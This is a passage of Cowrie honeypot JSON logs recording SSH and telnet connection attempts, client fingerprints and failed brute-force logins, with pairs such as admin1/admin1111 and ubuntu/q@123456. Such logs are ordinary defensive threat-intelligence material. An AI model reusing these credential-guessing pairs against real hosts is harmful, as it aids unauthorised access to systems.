-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:10:45.655807Z","src_ip":"45.120.216.232","session":"b4ffbafdf297","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.6721785068511963,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:10:45.716042Z","src_ip":"200.74.92.38","session":"4d95ccde04ed","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user1","password":"user123456","message":"login attempt [user1/user123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:10:46.627978Z","src_ip":"45.120.216.232","session":"b4ffbafdf297","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:10:47.866668Z","src_ip":"45.120.216.232","session":"b4ffbafdf297","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56074,"dst_ip":"159.203.135.109","dst_port":22,"session":"4364fa94d63c","protocol":"ssh","message":"New connection: 159.203.92.129:56074 (159.203.135.109:22) [session: 4364fa94d63c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:11:06.816823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:11:06.821932Z","src_ip":"159.203.92.129","session":"4364fa94d63c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:11:06.828677Z","src_ip":"159.203.92.129","session":"4364fa94d63c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin1111","message":"login attempt [admin1/admin1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:11:06.860270Z","src_ip":"159.203.92.129","session":"4364fa94d63c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:11:07.872243Z","src_ip":"159.203.92.129","session":"4364fa94d63c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":55456,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c201fe94e73","protocol":"telnet","message":"New connection: 149.56.37.12:55456 (159.203.135.109:23) [session: 2c201fe94e73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:11:21.296674Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.120.216.232","src_port":36824,"dst_ip":"159.203.135.109","dst_port":22,"session":"1da48085090e","protocol":"ssh","message":"New connection: 45.120.216.232:36824 (159.203.135.109:22) [session: 1da48085090e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:11:42.157384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:11:42.161632Z","src_ip":"45.120.216.232","session":"1da48085090e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:11:42.394813Z","src_ip":"45.120.216.232","session":"1da48085090e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"123123","message":"login attempt [deployer/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:11:43.358871Z","src_ip":"45.120.216.232","session":"1da48085090e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:11:44.594672Z","src_ip":"45.120.216.232","session":"1da48085090e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00227761268616,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:11:45.439103Z","src_ip":"167.250.105.129","session":"6248bd23ba7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34204,"dst_ip":"159.203.135.109","dst_port":22,"session":"10374d55afaa","protocol":"ssh","message":"New connection: 159.203.92.129:34204 (159.203.135.109:22) [session: 10374d55afaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:11:49.306775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:11:49.311737Z","src_ip":"159.203.92.129","session":"10374d55afaa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:11:49.316394Z","src_ip":"159.203.92.129","session":"10374d55afaa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin1111111","message":"login attempt [admin1/admin1111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:11:49.330647Z","src_ip":"159.203.92.129","session":"10374d55afaa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:11:50.337456Z","src_ip":"159.203.92.129","session":"10374d55afaa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.0857138633728,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:11:58.382254Z","src_ip":"149.56.37.12","session":"2c201fe94e73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":33312,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9beb1b937e2","protocol":"telnet","message":"New connection: 149.56.37.12:33312 (159.203.135.109:23) [session: c9beb1b937e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:12:18.004609Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.37.12","src_port":45272,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0cd9862c881","protocol":"telnet","message":"New connection: 149.56.37.12:45272 (159.203.135.109:23) [session: e0cd9862c881]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:12:25.766999Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":56610,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e40e3b34ab4","protocol":"ssh","message":"New connection: 45.148.10.121:56610 (159.203.135.109:22) [session: 2e40e3b34ab4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:12:29.827945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:12:29.833247Z","src_ip":"45.148.10.121","session":"2e40e3b34ab4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:12:29.909249Z","src_ip":"45.148.10.121","session":"2e40e3b34ab4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51334,"dst_ip":"159.203.135.109","dst_port":22,"session":"a44a2fa7b930","protocol":"ssh","message":"New connection: 159.203.92.129:51334 (159.203.135.109:22) [session: a44a2fa7b930]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:12:33.900373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:12:33.905410Z","src_ip":"159.203.92.129","session":"a44a2fa7b930","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:12:33.913975Z","src_ip":"159.203.92.129","session":"a44a2fa7b930","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin1123","message":"login attempt [admin1/admin1123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:12:33.928360Z","src_ip":"159.203.92.129","session":"a44a2fa7b930","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:12:34.936560Z","src_ip":"159.203.92.129","session":"a44a2fa7b930","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.215.0.144","src_port":60023,"dst_ip":"10.17.0.5","dst_port":22,"session":"076ae399dc89","protocol":"ssh","message":"New connection: 95.215.0.144:60023 (10.17.0.5:22) [session: 076ae399dc89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:12:36.722028Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:12:36.847991Z","src_ip":"95.215.0.144","session":"076ae399dc89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.120.216.232","src_port":54798,"dst_ip":"159.203.135.109","dst_port":22,"session":"567b11180296","protocol":"ssh","message":"New connection: 45.120.216.232:54798 (159.203.135.109:22) [session: 567b11180296]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:12:40.996281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:12:41.001291Z","src_ip":"45.120.216.232","session":"567b11180296","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:12:41.236310Z","src_ip":"45.120.216.232","session":"567b11180296","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"q@123456","message":"login attempt [ubuntu/q@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:12:42.206144Z","src_ip":"45.120.216.232","session":"567b11180296","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:12:43.443593Z","src_ip":"45.120.216.232","session":"567b11180296","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.36196303367615,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:12:52.366421Z","src_ip":"149.56.37.12","session":"c9beb1b937e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.16503620147705,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:13:03.931904Z","src_ip":"149.56.37.12","session":"e0cd9862c881","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35742,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3c228a54a3f","protocol":"ssh","message":"New connection: 159.203.92.129:35742 (159.203.135.109:22) [session: c3c228a54a3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:13:18.738600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:13:18.743442Z","src_ip":"159.203.92.129","session":"c3c228a54a3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:13:18.748060Z","src_ip":"159.203.92.129","session":"c3c228a54a3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin11234","message":"login attempt [admin1/admin11234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:13:18.760966Z","src_ip":"159.203.92.129","session":"c3c228a54a3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:13:19.768478Z","src_ip":"159.203.92.129","session":"c3c228a54a3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.120.216.232","src_port":44540,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c0f4d7ae2cc","protocol":"ssh","message":"New connection: 45.120.216.232:44540 (159.203.135.109:22) [session: 6c0f4d7ae2cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:13:39.511373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:13:39.516396Z","src_ip":"45.120.216.232","session":"6c0f4d7ae2cc","protocol":"ssh"}
